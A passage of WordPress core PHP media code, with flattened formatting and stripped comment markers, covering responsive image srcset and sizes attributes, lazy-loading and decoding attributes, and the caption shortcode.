ltrim( $dirname, '/' ); } return $dirname; } * * Gets the image size as array from its meta data. * * Used for responsive images. * * @since 4.4.0 * @access private * * @param string $size_name Image size. Accepts any registered image size name. * @param array $image_meta The image meta data. * @return array|false { * Array of width and height or false if the size isn't present in the meta data. * * @type int $0 Image width. * @type int $1 Image height. * } function _wp_get_image_size_from_meta( $size_name, $image_meta ) { if ( 'full' === $size_name ) { return array( absint( $image_meta['width'] ), absint( $image_meta['height'] ), ); } elseif ( ! empty( $image_meta['sizes'][ $size_name ] ) ) { return array( absint( $image_meta['sizes'][ $size_name ]['width'] ), absint( $image_meta['sizes'][ $size_name ]['height'] ), ); } return false; } * * Retrieves the value for an image attachment's 'srcset' attribute. * * @since 4.4.0 * * @see wp_calculate_image_srcset() * * @param int $attachment_id Image attachment ID. * @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array of * width and height values in pixels (in that order). Default 'medium'. * @param array $image_meta Optional. The image meta data as returned by 'wp_get_attachment_metadata()'. * Default null. * @return string|false A 'srcset' value string or false. function wp_get_attachment_image_srcset( $attachment_id, $size = 'medium', $image_meta = null ) { $image = wp_get_attachment_image_src( $attachment_id, $size ); if ( ! $image ) { return false; } if ( ! is_array( $image_meta ) ) { $image_meta = wp_get_attachment_metadata( $attachment_id ); } $image_src = $image[0]; $size_array = array( absint( $image[1] ), absint( $image[2] ), ); return wp_calculate_image_srcset( $size_array, $image_src, $image_meta, $attachment_id ); } * * A helper function to calculate the image sources to include in a 'srcset' attribute. * * @since 4.4.0 * * @param int[] $size_array { * An array of width and height values. * * @type int $0 The width in pixels. * @type int $1 The height in pixels. * } * @param string $image_src The 'src' of the image. * @param array $image_meta The image meta data as returned by 'wp_get_attachment_metadata()'. * @param int $attachment_id Optional. The image attachment ID. Default 0. * @return string|false The 'srcset' attribute value. False on error or when only one source exists. function wp_calculate_image_srcset( $size_array, $image_src, $image_meta, $attachment_id = 0 ) { * * Pre-filters the image meta to be able to fix inconsistencies in the stored data. * * @since 4.5.0 * * @param array $image_meta The image meta data as returned by 'wp_get_attachment_metadata()'. * @param int[] $size_array { * An array of requested width and height values. * * @type int $0 The width in pixels. * @type int $1 The height in pixels. * } * @param string $image_src The 'src' of the image. * @param int $attachment_id The image attachment ID or 0 if not supplied. $image_meta = apply_filters( 'wp_calculate_image_srcset_meta', $image_meta, $size_array, $image_src, $attachment_id ); if ( empty( $image_meta['sizes'] ) || ! isset( $image_meta['file'] ) || strlen( $image_meta['file'] ) < 4 ) { return false; } $image_sizes = $image_meta['sizes']; Get the width and height of the image. $image_width = (int) $size_array[0]; $image_height = (int) $size_array[1]; Bail early if error/no width. if ( $image_width < 1 ) { return false; } $image_basename = wp_basename( $image_meta['file'] ); * WordPress flattens animated GIFs into one frame when generating intermediate sizes. * To avoid hiding animation in user content, if src is a full size GIF, a srcset attribute is not generated. * If src is an intermediate size GIF, the full size is excluded from srcset to keep a flattened GIF from becoming animated. if ( ! isset( $image_sizes['thumbnail']['mime-type'] ) || 'image/gif' !== $image_sizes['thumbnail']['mime-type'] ) { $image_sizes[] = array( 'width' => $image_meta['width'], 'height' => $image_meta['height'], 'file' => $image_basename, ); } elseif ( strpos( $image_src, $image_meta['file'] ) ) { return false; } Retrieve the uploads sub-directory from the full size image. $dirname = _wp_get_attachment_relative_path( $image_meta['file'] ); if ( $dirname ) { $dirname = trailingslashit( $dirname ); } $upload_dir = wp_get_upload_dir(); $image_baseurl = trailingslashit( $upload_dir['baseurl'] ) . $dirname; * If currently on HTTPS, prefer HTTPS URLs when we know they're supported by the domain * (which is to say, when they share the domain name of the current request). if ( is_ssl() && 'https' !== substr( $image_baseurl, 0, 5 ) && parse_url( $image_baseurl, PHP_URL_HOST ) === $_SERVER['HTTP_HOST'] ) { $image_baseurl = set_url_scheme( $image_baseurl, 'https' ); } * Images that have been edited in WordPress after being uploaded will * contain a unique hash. Look for that hash and use it later to filter * out images that are leftovers from previous versions. $image_edited = preg_match( '/-e[0-9]{13}/', wp_basename( $image_src ), $image_edit_hash ); * * Filters the maximum image width to be included in a 'srcset' attribute. * * @since 4.4.0 * * @param int $max_width The maximum image width to be included in the 'srcset'. Default '2048'. * @param int[] $size_array { * An array of requested width and height values. * * @type int $0 The width in pixels. * @type int $1 The height in pixels. * } $max_srcset_image_width = apply_filters( 'max_srcset_image_width', 2048, $size_array ); Array to hold URL candidates. $sources = array(); * * To make sure the ID matches our image src, we will check to see if any sizes in our attachment * meta match our $image_src. If no matches are found we don't return a srcset to avoid serving * an incorrect image. See #35045. $src_matched = false; * Loop through available images. Only use images that are resized * versions of the same edit. foreach ( $image_sizes as $image ) { $is_src = false; Check if image meta isn't corrupted. if ( ! is_array( $image ) ) { continue; } If the file name is part of the `src`, we've confirmed a match. if ( ! $src_matched && false !== strpos( $image_src, $dirname . $image['file'] ) ) { $src_matched = true; $is_src = true; } Filter out images that are from previous edits. if ( $image_edited && ! strpos( $image['file'], $image_edit_hash[0] ) ) { continue; } * Filters out images that are wider than '$max_srcset_image_width' unless * that file is in the 'src' attribute. if ( $max_srcset_image_width && $image['width'] > $max_srcset_image_width && ! $is_src ) { continue; } If the image dimensions are within 1px of the expected size, use it. if ( wp_image_matches_ratio( $image_width, $image_height, $image['width'], $image['height'] ) ) { Add the URL, descriptor, and value to the sources array to be returned. $source = array( 'url' => $image_baseurl . $image['file'], 'descriptor' => 'w', 'value' => $image['width'], ); The 'src' image has to be the first in the 'srcset', because of a bug in iOS8. See #35030. if ( $is_src ) { $sources = array( $image['width'] => $source ) + $sources; } else { $sources[ $image['width'] ] = $source; } } } * * Filters an image's 'srcset' sources. * * @since 4.4.0 * * @param array $sources { * One or more arrays of source data to include in the 'srcset'. * * @type array $width { * @type string $url The URL of an image source. * @type string $descriptor The descriptor type used in the image candidate string, * either 'w' or 'x'. * @type int $value The source width if paired with a 'w' descriptor, or a * pixel density value if paired with an 'x' descriptor. * } * } * @param array $size_array { * An array of requested width and height values. * * @type int $0 The width in pixels. * @type int $1 The height in pixels. * } * @param string $image_src The 'src' of the image. * @param array $image_meta The image meta data as returned by 'wp_get_attachment_metadata()'. * @param int $attachment_id Image attachment ID or 0. $sources = apply_filters( 'wp_calculate_image_srcset', $sources, $size_array, $image_src, $image_meta, $attachment_id ); Only return a 'srcset' value if there is more than one source. if ( ! $src_matched || ! is_array( $sources ) || count( $sources ) < 2 ) { return false; } $srcset = ''; foreach ( $sources as $source ) { $srcset .= str_replace( ' ', '%20', $source['url'] ) . ' ' . $source['value'] . $source['descriptor'] . ', '; } return rtrim( $srcset, ', ' ); } * * Retrieves the value for an image attachment's 'sizes' attribute. * * @since 4.4.0 * * @see wp_calculate_image_sizes() * * @param int $attachment_id Image attachment ID. * @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array of * width and height values in pixels (in that order). Default 'medium'. * @param array $image_meta Optional. The image meta data as returned by 'wp_get_attachment_metadata()'. * Default null. * @return string|false A valid source size value for use in a 'sizes' attribute or false. function wp_get_attachment_image_sizes( $attachment_id, $size = 'medium', $image_meta = null ) { $image = wp_get_attachment_image_src( $attachment_id, $size ); if ( ! $image ) { return false; } if ( ! is_array( $image_meta ) ) { $image_meta = wp_get_attachment_metadata( $attachment_id ); } $image_src = $image[0]; $size_array = array( absint( $image[1] ), absint( $image[2] ), ); return wp_calculate_image_sizes( $size_array, $image_src, $image_meta, $attachment_id ); } * * Creates a 'sizes' attribute value for an image. * * @since 4.4.0 * * @param string|int[] $size Image size. Accepts any registered image size name, or an array of * width and height values in pixels (in that order). * @param string $image_src Optional. The URL to the image file. Default null. * @param array $image_meta Optional. The image meta data as returned by 'wp_get_attachment_metadata()'. * Default null. * @param int $attachment_id Optional. Image attachment ID. Either `$image_meta` or `$attachment_id` * is needed when using the image size name as argument for `$size`. Default 0. * @return string|false A valid source size value for use in a 'sizes' attribute or false. function wp_calculate_image_sizes( $size, $image_src = null, $image_meta = null, $attachment_id = 0 ) { $width = 0; if ( is_array( $size ) ) { $width = absint( $size[0] ); } elseif ( is_string( $size ) ) { if ( ! $image_meta && $attachment_id ) { $image_meta = wp_get_attachment_metadata( $attachment_id ); } if ( is_array( $image_meta ) ) { $size_array = _wp_get_image_size_from_meta( $size, $image_meta ); if ( $size_array ) { $width = absint( $size_array[0] ); } } } if ( ! $width ) { return false; } Setup the default 'sizes' attribute. $sizes = sprintf( '(max-width: %1$dpx) 100vw, %1$dpx', $width ); * * Filters the output of 'wp_calculate_image_sizes()'. * * @since 4.4.0 * * @param string $sizes A source size value for use in a 'sizes' attribute. * @param string|int[] $size Requested image size. Can be any registered image size name, or * an array of width and height values in pixels (in that order). * @param string|null $image_src The URL to the image file or null. * @param array|null $image_meta The image meta data as returned by wp_get_attachment_metadata() or null. * @param int $attachment_id Image attachment ID of the original image or 0. return apply_filters( 'wp_calculate_image_sizes', $sizes, $size, $image_src, $image_meta, $attachment_id ); } * * Determines if the image meta data is for the image source file. * * The image meta data is retrieved by attachment post ID. In some cases the post IDs may change. * For example when the website is exported and imported at another website. Then the * attachment post IDs that are in post_content for the exported website may not match * the same attachments at the new website. * * @since 5.5.0 * * @param string $image_location The full path or URI to the image file. * @param array $image_meta The attachment meta data as returned by 'wp_get_attachment_metadata()'. * @param int $attachment_id Optional. The image attachment ID. Default 0. * @return bool Whether the image meta is for this image file. function wp_image_file_matches_image_meta( $image_location, $image_meta, $attachment_id = 0 ) { $match = false; Ensure the $image_meta is valid. if ( isset( $image_meta['file'] ) && strlen( $image_meta['file'] ) > 4 ) { Remove query args in image URI. list( $image_location ) = explode( '?', $image_location ); Check if the relative image path from the image meta is at the end of $image_location. if ( strrpos( $image_location, $image_meta['file'] ) === strlen( $image_location ) - strlen( $image_meta['file'] ) ) { $match = true; } else { Retrieve the uploads sub-directory from the full size image. $dirname = _wp_get_attachment_relative_path( $image_meta['file'] ); if ( $dirname ) { $dirname = trailingslashit( $dirname ); } if ( ! empty( $image_meta['original_image'] ) ) { $relative_path = $dirname . $image_meta['original_image']; if ( strrpos( $image_location, $relative_path ) === strlen( $image_location ) - strlen( $relative_path ) ) { $match = true; } } if ( ! $match && ! empty( $image_meta['sizes'] ) ) { foreach ( $image_meta['sizes'] as $image_size_data ) { $relative_path = $dirname . $image_size_data['file']; if ( strrpos( $image_location, $relative_path ) === strlen( $image_location ) - strlen( $relative_path ) ) { $match = true; break; } } } } } * * Filters whether an image path or URI matches image meta. * * @since 5.5.0 * * @param bool $match Whether the image relative path from the image meta * matches the end of the URI or path to the image file. * @param string $image_location Full path or URI to the tested image file. * @param array $image_meta The image meta data as returned by 'wp_get_attachment_metadata()'. * @param int $attachment_id The image attachment ID or 0 if not supplied. return apply_filters( 'wp_image_file_matches_image_meta', $match, $image_location, $image_meta, $attachment_id ); } * * Determines an image's width and height dimensions based on the source file. * * @since 5.5.0 * * @param string $image_src The image source file. * @param array $image_meta The image meta data as returned by 'wp_get_attachment_metadata()'. * @param int $attachment_id Optional. The image attachment ID. Default 0. * @return array|false Array with first element being the width and second element being the height, * or false if dimensions cannot be determined. function wp_image_src_get_dimensions( $image_src, $image_meta, $attachment_id = 0 ) { $dimensions = false; Is it a full size image? if ( isset( $image_meta['file'] ) && strpos( $image_src, wp_basename( $image_meta['file'] ) ) !== false ) { $dimensions = array( (int) $image_meta['width'], (int) $image_meta['height'], ); } if ( ! $dimensions && ! empty( $image_meta['sizes'] ) ) { $src_filename = wp_basename( $image_src ); foreach ( $image_meta['sizes'] as $image_size_data ) { if ( $src_filename === $image_size_data['file'] ) { $dimensions = array( (int) $image_size_data['width'], (int) $image_size_data['height'], ); break; } } } * * Filters the 'wp_image_src_get_dimensions' value. * * @since 5.7.0 * * @param array|false $dimensions Array with first element being the width * and second element being the height, or * false if dimensions could not be determined. * @param string $image_src The image source file. * @param array $image_meta The image meta data as returned by * 'wp_get_attachment_metadata()'. * @param int $attachment_id The image attachment ID. Default 0. return apply_filters( 'wp_image_src_get_dimensions', $dimensions, $image_src, $image_meta, $attachment_id ); } * * Adds 'srcset' and 'sizes' attributes to an existing 'img' element. * * @since 4.4.0 * * @see wp_calculate_image_srcset() * @see wp_calculate_image_sizes() * * @param string $image An HTML 'img' element to be filtered. * @param array $image_meta The image meta data as returned by 'wp_get_attachment_metadata()'. * @param int $attachment_id Image attachment ID. * @return string Converted 'img' element with 'srcset' and 'sizes' attributes added. function wp_image_add_srcset_and_sizes( $image, $image_meta, $attachment_id ) { Ensure the image meta exists. if ( empty( $image_meta['sizes'] ) ) { return $image; } $image_src = preg_match( '/src="([^"]+)"/', $image, $match_src ) ? $match_src[1] : ''; list( $image_src ) = explode( '?', $image_src ); Return early if we couldn't get the image source. if ( ! $image_src ) { return $image; } Bail early if an image has been inserted and later edited. if ( preg_match( '/-e[0-9]{13}/', $image_meta['file'], $img_edit_hash ) && strpos( wp_basename( $image_src ), $img_edit_hash[0] ) === false ) { return $image; } $width = preg_match( '/ width="([0-9]+)"/', $image, $match_width ) ? (int) $match_width[1] : 0; $height = preg_match( '/ height="([0-9]+)"/', $image, $match_height ) ? (int) $match_height[1] : 0; if ( $width && $height ) { $size_array = array( $width, $height ); } else { $size_array = wp_image_src_get_dimensions( $image_src, $image_meta, $attachment_id ); if ( ! $size_array ) { return $image; } } $srcset = wp_calculate_image_srcset( $size_array, $image_src, $image_meta, $attachment_id ); if ( $srcset ) { Check if there is already a 'sizes' attribute. $sizes = strpos( $image, ' sizes=' ); if ( ! $sizes ) { $sizes = wp_calculate_image_sizes( $size_array, $image_src, $image_meta, $attachment_id ); } } if ( $srcset && $sizes ) { Format the 'srcset' and 'sizes' string and escape attributes. $attr = sprintf( ' srcset="%s"', esc_attr( $srcset ) ); if ( is_string( $sizes ) ) { $attr .= sprintf( ' sizes="%s"', esc_attr( $sizes ) ); } Add the srcset and sizes attributes to the image markup. return preg_replace( '/<img ([^>]+?)[\/ ]*>/', '<img $1' . $attr . ' />', $image ); } return $image; } * * Determines whether to add the `loading` attribute to the specified tag in the specified context. * * @since 5.5.0 * @since 5.7.0 Now returns `true` by default for `iframe` tags. * * @param string $tag_name The tag name. * @param string $context Additional context, like the current filter name * or the function name from where this was called. * @return bool Whether to add the attribute. function wp_lazy_loading_enabled( $tag_name, $context ) { By default add to all 'img' and 'iframe' tags. See https:html.spec.whatwg.org/multipage/embedded-content.html#attr-img-loading See https:html.spec.whatwg.org/multipage/iframe-embed-object.html#attr-iframe-loading $default = ( 'img' === $tag_name || 'iframe' === $tag_name ); * * Filters whether to add the `loading` attribute to the specified tag in the specified context. * * @since 5.5.0 * * @param bool $default Default value. * @param string $tag_name The tag name. * @param string $context Additional context, like the current filter name * or the function name from where this was called. return (bool) apply_filters( 'wp_lazy_loading_enabled', $default, $tag_name, $context ); } * * Filters specific tags in post content and modifies their markup. * * Modifies HTML tags in post content to include new browser and HTML technologies * that may not have existed at the time of post creation. These modifications currently * include adding `srcset`, `sizes`, and `loading` attributes to `img` HTML tags, as well * as adding `loading` attributes to `iframe` HTML tags. * Future similar optimizations should be added/expected here. * * @since 5.5.0 * @since 5.7.0 Now supports adding `loading` attributes to `iframe` tags. * * @see wp_img_tag_add_width_and_height_attr() * @see wp_img_tag_add_srcset_and_sizes_attr() * @see wp_img_tag_add_loading_attr() * @see wp_iframe_tag_add_loading_attr() * * @param string $content The HTML content to be filtered. * @param string $context Optional. Additional context to pass to the filters. * Defaults to `current_filter()` when not set. * @return string Converted content with images modified. function wp_filter_content_tags( $content, $context = null ) { if ( null === $context ) { $context = current_filter(); } $add_img_loading_attr = wp_lazy_loading_enabled( 'img', $context ); $add_iframe_loading_attr = wp_lazy_loading_enabled( 'iframe', $context ); if ( ! preg_match_all( '/<(img|iframe)\s[^>]+>/', $content, $matches, PREG_SET_ORDER ) ) { return $content; } List of the unique `img` tags found in $content. $images = array(); List of the unique `iframe` tags found in $content. $iframes = array(); foreach ( $matches as $match ) { list( $tag, $tag_name ) = $match; switch ( $tag_name ) { case 'img': if ( preg_match( '/wp-image-([0-9]+)/i', $tag, $class_id ) ) { $attachment_id = absint( $class_id[1] ); if ( $attachment_id ) { If exactly the same image tag is used more than once, overwrite it. All identical tags will be replaced later with 'str_replace()'. $images[ $tag ] = $attachment_id; break; } } $images[ $tag ] = 0; break; case 'iframe': $iframes[ $tag ] = 0; break; } } Reduce the array to unique attachment IDs. $attachment_ids = array_unique( array_filter( array_values( $images ) ) ); if ( count( $attachment_ids ) > 1 ) { * Warm the object cache with post and meta information for all found * images to avoid making individual database calls. _prime_post_caches( $attachment_ids, false, true ); } Iterate through the matches in order of occurrence as it is relevant for whether or not to lazy-load. foreach ( $matches as $match ) { Filter an image match. if ( isset( $images[ $match[0] ] ) ) { $filtered_image = $match[0]; $attachment_id = $images[ $match[0] ]; Add 'width' and 'height' attributes if applicable. if ( $attachment_id > 0 && false === strpos( $filtered_image, ' width=' ) && false === strpos( $filtered_image, ' height=' ) ) { $filtered_image = wp_img_tag_add_width_and_height_attr( $filtered_image, $context, $attachment_id ); } Add 'srcset' and 'sizes' attributes if applicable. if ( $attachment_id > 0 && false === strpos( $filtered_image, ' srcset=' ) ) { $filtered_image = wp_img_tag_add_srcset_and_sizes_attr( $filtered_image, $context, $attachment_id ); } Add 'loading' attribute if applicable. if ( $add_img_loading_attr && false === strpos( $filtered_image, ' loading=' ) ) { $filtered_image = wp_img_tag_add_loading_attr( $filtered_image, $context ); } Add 'decoding=async' attribute unless a 'decoding' attribute is already present. if ( ! str_contains( $filtered_image, ' decoding=' ) ) { $filtered_image = wp_img_tag_add_decoding_attr( $filtered_image, $context ); } * * Filters an img tag within the content for a given context. * * @since 6.0.0 * * @param string $filtered_image Full img tag with attributes that will replace the source img tag. * @param string $context Additional context, like the current filter name or the function name from where this was called. * @param int $attachment_id The image attachment ID. May be 0 in case the image is not an attachment. $filtered_image = apply_filters( 'wp_content_img_tag', $filtered_image, $context, $attachment_id ); if ( $filtered_image !== $match[0] ) { $content = str_replace( $match[0], $filtered_image, $content ); } * Unset image lookup to not run the same logic again unnecessarily if the same image tag is used more than * once in the same blob of content. unset( $images[ $match[0] ] ); } Filter an iframe match. if ( isset( $iframes[ $match[0] ] ) ) { $filtered_iframe = $match[0]; Add 'loading' attribute if applicable. if ( $add_iframe_loading_attr && false === strpos( $filtered_iframe, ' loading=' ) ) { $filtered_iframe = wp_iframe_tag_add_loading_attr( $filtered_iframe, $context ); } if ( $filtered_iframe !== $match[0] ) { $content = str_replace( $match[0], $filtered_iframe, $content ); } * Unset iframe lookup to not run the same logic again unnecessarily if the same iframe tag is used more * than once in the same blob of content. unset( $iframes[ $match[0] ] ); } } return $content; } * * Adds `loading` attribute to an `img` HTML tag. * * @since 5.5.0 * * @param string $image The HTML `img` tag where the attribute should be added. * @param string $context Additional context to pass to the filters. * @return string Converted `img` tag with `loading` attribute added. function wp_img_tag_add_loading_attr( $image, $context ) { Get loading attribute value to use. This must occur before the conditional check below so that even images that are ineligible for being lazy-loaded are considered. $value = wp_get_loading_attr_default( $context ); Images should have source and dimension attributes for the `loading` attribute to be added. if ( false === strpos( $image, ' src="' ) || false === strpos( $image, ' width="' ) || false === strpos( $image, ' height="' ) ) { return $image; } * * Filters the `loading` attribute value to add to an image. Default `lazy`. * * Returning `false` or an empty string will not add the attribute. * Returning `true` will add the default value. * * @since 5.5.0 * * @param string|bool $value The `loading` attribute value. Returning a falsey value will result in * the attribute being omitted for the image. * @param string $image The HTML `img` tag to be filtered. * @param string $context Additional context about how the function was called or where the img tag is. $value = apply_filters( 'wp_img_tag_add_loading_attr', $value, $image, $context ); if ( $value ) { if ( ! in_array( $value, array( 'lazy', 'eager' ), true ) ) { $value = 'lazy'; } return str_replace( '<img', '<img loading="' . esc_attr( $value ) . '"', $image ); } return $image; } * * Adds `decoding` attribute to an `img` HTML tag. * * The `decoding` attribute allows developers to indicate whether the * browser can decode the image off the main thread (`async`), on the * main thread (`sync`) or as determined by the browser (`auto`). * * By default WordPress adds `decoding="async"` to images but developers * can use the {@see 'wp_img_tag_add_decoding_attr'} filter to modify this * to remove the attribute or set it to another accepted value. * * @since 6.1.0 * * @param string $image The HTML `img` tag where the attribute should be added. * @param string $context Additional context to pass to the filters. * * @return string Converted `img` tag with `decoding` attribute added. function wp_img_tag_add_decoding_attr( $image, $context ) { Only apply the decoding attribute to images that have a src attribute that starts with a double quote, ensuring escaped JSON is also excluded. if ( false === strpos( $image, ' src="' ) ) { return $image; } * * Filters the `decoding` attribute value to add to an image. Default `async`. * * Returning a falsey value will omit the attribute. * * @since 6.1.0 * * @param string|false|null $value The `decoding` attribute value. Returning a falsey value * will result in the attribute being omitted for the image. * Otherwise, it may be: 'async' (default), 'sync', or 'auto'. * @param string $image The HTML `img` tag to be filtered. * @param string $context Additional context about how the function was called * or where the img tag is. $value = apply_filters( 'wp_img_tag_add_decoding_attr', 'async', $image, $context ); if ( in_array( $value, array( 'async', 'sync', 'auto' ), true ) ) { $image = str_replace( '<img ', '<img decoding="' . esc_attr( $value ) . '" ', $image ); } return $image; } * * Adds `width` and `height` attributes to an `img` HTML tag. * * @since 5.5.0 * * @param string $image The HTML `img` tag where the attribute should be added. * @param string $context Additional context to pass to the filters. * @param int $attachment_id Image attachment ID. * @return string Converted 'img' element with 'width' and 'height' attributes added. function wp_img_tag_add_width_and_height_attr( $image, $context, $attachment_id ) { $image_src = preg_match( '/src="([^"]+)"/', $image, $match_src ) ? $match_src[1] : ''; list( $image_src ) = explode( '?', $image_src ); Return early if we couldn't get the image source. if ( ! $image_src ) { return $image; } * * Filters whether to add the missing `width` and `height` HTML attributes to the img tag. Default `true`. * * Returning anything else than `true` will not add the attributes. * * @since 5.5.0 * * @param bool $value The filtered value, defaults to `true`. * @param string $image The HTML `img` tag where the attribute should be added. * @param string $context Additional context about how the function was called or where the img tag is. * @param int $attachment_id The image attachment ID. $add = apply_filters( 'wp_img_tag_add_width_and_height_attr', true, $image, $context, $attachment_id ); if ( true === $add ) { $image_meta = wp_get_attachment_metadata( $attachment_id ); $size_array = wp_image_src_get_dimensions( $image_src, $image_meta, $attachment_id ); if ( $size_array ) { $hw = trim( image_hwstring( $size_array[0], $size_array[1] ) ); return str_replace( '<img', "<img {$hw}", $image ); } } return $image; } * * Adds `srcset` and `sizes` attributes to an existing `img` HTML tag. * * @since 5.5.0 * * @param string $image The HTML `img` tag where the attribute should be added. * @param string $context Additional context to pass to the filters. * @param int $attachment_id Image attachment ID. * @return string Converted 'img' element with 'loading' attribute added. function wp_img_tag_add_srcset_and_sizes_attr( $image, $context, $attachment_id ) { * * Filters whether to add the `srcset` and `sizes` HTML attributes to the img tag. Default `true`. * * Returning anything else than `true` will not add the attributes. * * @since 5.5.0 * * @param bool $value The filtered value, defaults to `true`. * @param string $image The HTML `img` tag where the attribute should be added. * @param string $context Additional context about how the function was called or where the img tag is. * @param int $attachment_id The image attachment ID. $add = apply_filters( 'wp_img_tag_add_srcset_and_sizes_attr', true, $image, $context, $attachment_id ); if ( true === $add ) { $image_meta = wp_get_attachment_metadata( $attachment_id ); return wp_image_add_srcset_and_sizes( $image, $image_meta, $attachment_id ); } return $image; } * * Adds `loading` attribute to an `iframe` HTML tag. * * @since 5.7.0 * * @param string $iframe The HTML `iframe` tag where the attribute should be added. * @param string $context Additional context to pass to the filters. * @return string Converted `iframe` tag with `loading` attribute added. function wp_iframe_tag_add_loading_attr( $iframe, $context ) { Iframes with fallback content (see `wp_filter_oembed_result()`) should not be lazy-loaded because they are visually hidden initially. if ( false !== strpos( $iframe, ' data-secret="' ) ) { return $iframe; } Get loading attribute value to use. This must occur before the conditional check below so that even iframes that are ineligible for being lazy-loaded are considered. $value = wp_get_loading_attr_default( $context ); Iframes should have source and dimension attributes for the `loading` attribute to be added. if ( false === strpos( $iframe, ' src="' ) || false === strpos( $iframe, ' width="' ) || false === strpos( $iframe, ' height="' ) ) { return $iframe; } * * Filters the `loading` attribute value to add to an iframe. Default `lazy`. * * Returning `false` or an empty string will not add the attribute. * Returning `true` will add the default value. * * @since 5.7.0 * * @param string|bool $value The `loading` attribute value. Returning a falsey value will result in * the attribute being omitted for the iframe. * @param string $iframe The HTML `iframe` tag to be filtered. * @param string $context Additional context about how the function was called or where the iframe tag is. $value = apply_filters( 'wp_iframe_tag_add_loading_attr', $value, $iframe, $context ); if ( $value ) { if ( ! in_array( $value, array( 'lazy', 'eager' ), true ) ) { $value = 'lazy'; } return str_replace( '<iframe', '<iframe loading="' . esc_attr( $value ) . '"', $iframe ); } return $iframe; } * * Adds a 'wp-post-image' class to post thumbnails. Internal use only. * * Uses the {@see 'begin_fetch_post_thumbnail_html'} and {@see 'end_fetch_post_thumbnail_html'} * action hooks to dynamically add/remove itself so as to only filter post thumbnails. * * @ignore * @since 2.9.0 * * @param string[] $attr Array of thumbnail attributes including src, class, alt, title, keyed by attribute name. * @return string[] Modified array of attributes including the new 'wp-post-image' class. function _wp_post_thumbnail_class_filter( $attr ) { $attr['class'] .= ' wp-post-image'; return $attr; } * * Adds '_wp_post_thumbnail_class_filter' callback to the 'wp_get_attachment_image_attributes' * filter hook. Internal use only. * * @ignore * @since 2.9.0 * * @param string[] $attr Array of thumbnail attributes including src, class, alt, title, keyed by attribute name. function _wp_post_thumbnail_class_filter_add( $attr ) { add_filter( 'wp_get_attachment_image_attributes', '_wp_post_thumbnail_class_filter' ); } * * Removes the '_wp_post_thumbnail_class_filter' callback from the 'wp_get_attachment_image_attributes' * filter hook. Internal use only. * * @ignore * @since 2.9.0 * * @param string[] $attr Array of thumbnail attributes including src, class, alt, title, keyed by attribute name. function _wp_post_thumbnail_class_filter_remove( $attr ) { remove_filter( 'wp_get_attachment_image_attributes', '_wp_post_thumbnail_class_filter' ); } add_shortcode( 'wp_caption', 'img_caption_shortcode' ); add_shortcode( 'caption', 'img_caption_shortcode' ); * * Builds the Caption shortcode output. * * Allows a plugin to replace the content that would otherwise be returned. The * filter is {@see 'img_caption_shortcode'} and passes an empty string, the attr * parameter and the content parameter values. * * The supported attributes for the shortcode are 'id', 'caption_id', 'align', * 'width', 'caption', and 'class'. * * @since 2.6.0 * @since 3.9.0 The `class` attribute was added. * @since 5.1.0 The `caption_id` attribute was added. * @since 5.9.0 The `$content` parameter default value changed from `null` to `''`. * * @param array $attr { * Attributes of the caption shortcode. * * @type string $id ID of the image and caption container element, i.e. `<figure>` or `<div>`. * @type string $caption_id ID of the caption element, i.e. `<figcaption>` or `<p>`. * @type string $align Class name that aligns the caption. Default 'alignnone'. Accepts 'alignleft', * 'aligncenter', alignright', 'alignnone'. * @type int $width The width of the caption, in pixels. * @type string $caption The caption text. * @type string $class Additional class name(s) added to the caption container. * } * @param string $content Optional. Shortcode content. Default empty string. * @return string HTML content to display the caption. function img_caption_shortcode( $attr, $content = '' ) { New-style shortcode with the caption inside the shortcode with the link and image tags. if ( ! isset( $attr['caption'] ) ) { if ( preg_match( '#((?:<a [^>]+>\s*)?<img [^>]+>(?:\s*</a>)?)(.*)#is', $content, $matches ) ) { $content = $matches[1]; $attr['caption'] = trim( $matches[2] ); } } elseif ( strpos( $attr['caption'], '<' ) !== false ) { $attr['caption'] = wp_kses( $attr['caption'], 'post' ); } * * Filters the default caption shortcode output. * * If the filtered output isn't empty, it will be used instead of generating * the default caption template. * * @since 2.6.0 * * @see img_caption_shortcode() * * @param string $output The caption output. Default empty. * @param array $attr Attributes of the caption shortcode. * @param string $content The image element, possibly wrapped in a hyperlink. $output = apply_filters( 'img_caption_shortcode', '', $attr, $content ); if ( ! empty( $output ) ) { return $output; } $atts = shortcode_atts( array( 'id' => '', 'caption_id' => '', 'align' => 'alignnone', 'width' => '', 'caption' => '', 'class' => '', ), $attr, 'caption' ); $atts['width'] = (int) $atts['width']; if ( $atts['width'] < 1 || empty( $atts['caption'] ) ) { return $content; } $id = ''; $caption_id = ''; $describedby = ''; if ( $atts['id'] ) { $atts['id'] = sanitize_html_class( $atts['id'] ); $id = 'id="' . esc_attr( $atts['id'] ) . '" '; } if ( $atts['caption_id'] ) { $atts['caption_id'] = sanitize_html_class( $atts['caption_id'] ); } elseif ( $atts['id'] ) { $atts['caption_id'] = 'caption-' . str_replace( '_', '-', $atts['id'] ); } if ( $atts['caption_id'] ) { $caption_id = 'id="' . esc_attr( $atts['caption_id'] ) . '" '; $describedby = 'aria-describedby="' . esc_attr( $atts['caption_id'] ) . '" '; } $class = trim( 'wp-caption ' . $atts['align'] . ' ' . $atts['class'] ); $html5 = current_theme_supports( 'html5', 'caption' ); HTML5 captions never added the extra 10px to the image width. $width = $html5 ? $atts['width'] : ( 10 + $atts['width'] ); * * Filters the width of an image's caption. * * By default, the caption is 10 pixels greater than the width of the image, * to prevent post content from running up against a floated image. * * @since 3.7.0 * * @see img_caption_shortcode() * * @param int $width Width of the caption in pixels. To remove this inline style, * return zero. * @param array $atts Attributes of the caption shortcode. * @param string $content The image element, possibly wrapped in a hyperlink. $caption_width = apply_filters( 'img_caption_shortcode_width', $width, $atts, $content ); $style = ''; if ( $caption_width ) { $style = 'style="width: ' . (int) $caption_width . 'px" '; } if ( $html5 ) { $html = sprintf( '<figure %s%s%sclass="%s">%s%s</figure>', $id, $describedby, $style, esc_attr( $class ), do_shortcode( $content ), sprintf( '<figcaption %sclass="wp-caption-text">%s</figcaption>', $caption_id, $atts['caption'] ) ); } else { $html = sprintf( '<div %s%sclass="%s">%s%s</div>', $id, $style, esc_attr( $class ), str_replace( '<img ', '<img ' . $describedby, do_shortcode( $content ) ), sprintf( '<p %sclass="wp-caption-text">%s</p>', $caption_id, $atts['caption'] ) ); } return $html; } add_shortcode( 'gallery', 'gallery_shortcode' ); * * Builds the Gallery shortcode output. * * This implements the functionality of the Gallery Shortcode for displaying * WordPress images on a post. * * @since 2.5.0 * @since 2.8.0 Added the 